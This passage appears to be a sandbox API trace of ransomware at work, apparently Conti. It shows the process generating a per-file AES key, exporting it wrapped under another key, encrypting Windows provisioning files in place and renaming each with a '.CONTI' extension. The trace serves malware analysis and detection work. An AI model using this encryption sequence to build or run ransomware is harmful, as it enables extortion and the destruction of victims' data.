	[0111.798] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0111.798] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.798] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\439__connections_cellular_vibo telecom (taiwan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.798] GetProcessHeap () returned 0x1720000
	[0111.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.798] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0111.798] GetProcessHeap () returned 0x1720000
	[0111.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c968 | out: hHeap=0x1720000) returned 1
	[0111.798] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.798] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x18032e8 | out: phKey=0x18032e8*=0x6b7f178) returned 1
	[0111.799] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x18032ec, pdwDataLen=0x55ffb34 | out: pbData=0x18032ec*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.799] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0111.799] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.800] GetLastError () returned 0x0
	[0111.800] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=852) returned 1
	[0111.800] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x354
	[0111.800] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.800] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.800] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.800] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.800] WriteFile (in: hFile=0x3ec, lpBuffer=0x18032ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x18032ec*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0111.802] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.802] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x354, lpOverlapped=0x0) returned 1
	[0111.802] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x354, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x360) returned 1
	[0111.802] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.802] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x360, lpOverlapped=0x0) returned 1
	[0111.802] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.802] WriteFile (in: hFile=0x3ec, lpBuffer=0x18032e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x18032e0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0111.802] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.802] CloseHandle (hObject=0x3ec) returned 1
	[0111.802] GetProcessHeap () returned 0x1720000
	[0111.802] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.802] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml"
	[0111.802] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml.CONTI"
	[0111.802] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0111.803] GetProcessHeap () returned 0x1720000
	[0111.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.803] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0111.803] GetProcessHeap () returned 0x1720000
	[0111.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808048 | out: hHeap=0x1720000) returned 1
	[0111.803] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0111.803] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x1800790 | out: phKey=0x1800790*=0x6b7f178) returned 1
	[0111.803] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1800794, pdwDataLen=0x55ffb34 | out: pbData=0x1800794*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0111.804] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0111.804] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.804] GetLastError () returned 0x0
	[0111.804] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=703) returned 1
	[0111.804] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bf
	[0111.804] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.805] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.805] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.805] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.805] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800794*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x1800794*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0112.800] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.800] ReadFile (in: hFile=0x3ec, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2bf, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2bf, lpOverlapped=0x0) returned 1
	[0112.801] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2bf, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2c0) returned 1
	[0112.801] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.801] WriteFile (in: hFile=0x3ec, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2c0, lpOverlapped=0x0) returned 1
	[0112.801] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.801] WriteFile (in: hFile=0x3ec, lpBuffer=0x1800788*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x1800788*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0112.801] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.801] CloseHandle (hObject=0x3ec) returned 1
	[0112.821] GetProcessHeap () returned 0x1720000
	[0112.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.037] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml"
	[0114.037] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml.CONTI"
	[0114.037] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0114.038] GetProcessHeap () returned 0x1720000
	[0114.038] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.038] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0114.038] GetProcessHeap () returned 0x1720000
	[0114.038] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656cec8 | out: hHeap=0x1720000) returned 1
	[0114.038] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.038] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b492c8 | out: phKey=0x6b492c8*=0x17c7bf0) returned 1
	[0114.038] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b492cc, pdwDataLen=0x55ffb34 | out: pbData=0x6b492cc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.039] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.039] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.039] GetLastError () returned 0x0
	[0114.039] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=726) returned 1
	[0114.039] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0114.039] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.040] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.040] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.040] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.040] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b492cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b492cc*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.047] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.047] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2d6, lpOverlapped=0x0) returned 1
	[0114.047] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d6, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2e0) returned 1
	[0114.047] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.047] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.047] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.047] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b492c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b492c0*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.047] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.047] CloseHandle (hObject=0x3ac) returned 1
	[0114.047] GetProcessHeap () returned 0x1720000
	[0114.047] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.047] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0114.047] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.047] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.048] GetProcessHeap () returned 0x1720000
	[0114.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.048] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.048] GetProcessHeap () returned 0x1720000
	[0114.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b553c0 | out: hHeap=0x1720000) returned 1
	[0114.048] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.048] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b499a0 | out: phKey=0x6b499a0*=0x17c7cb0) returned 1
	[0114.048] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b499a4, pdwDataLen=0x55ffb34 | out: pbData=0x6b499a4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.049] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0114.050] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\695__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.050] GetLastError () returned 0x0
	[0114.050] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=723) returned 1
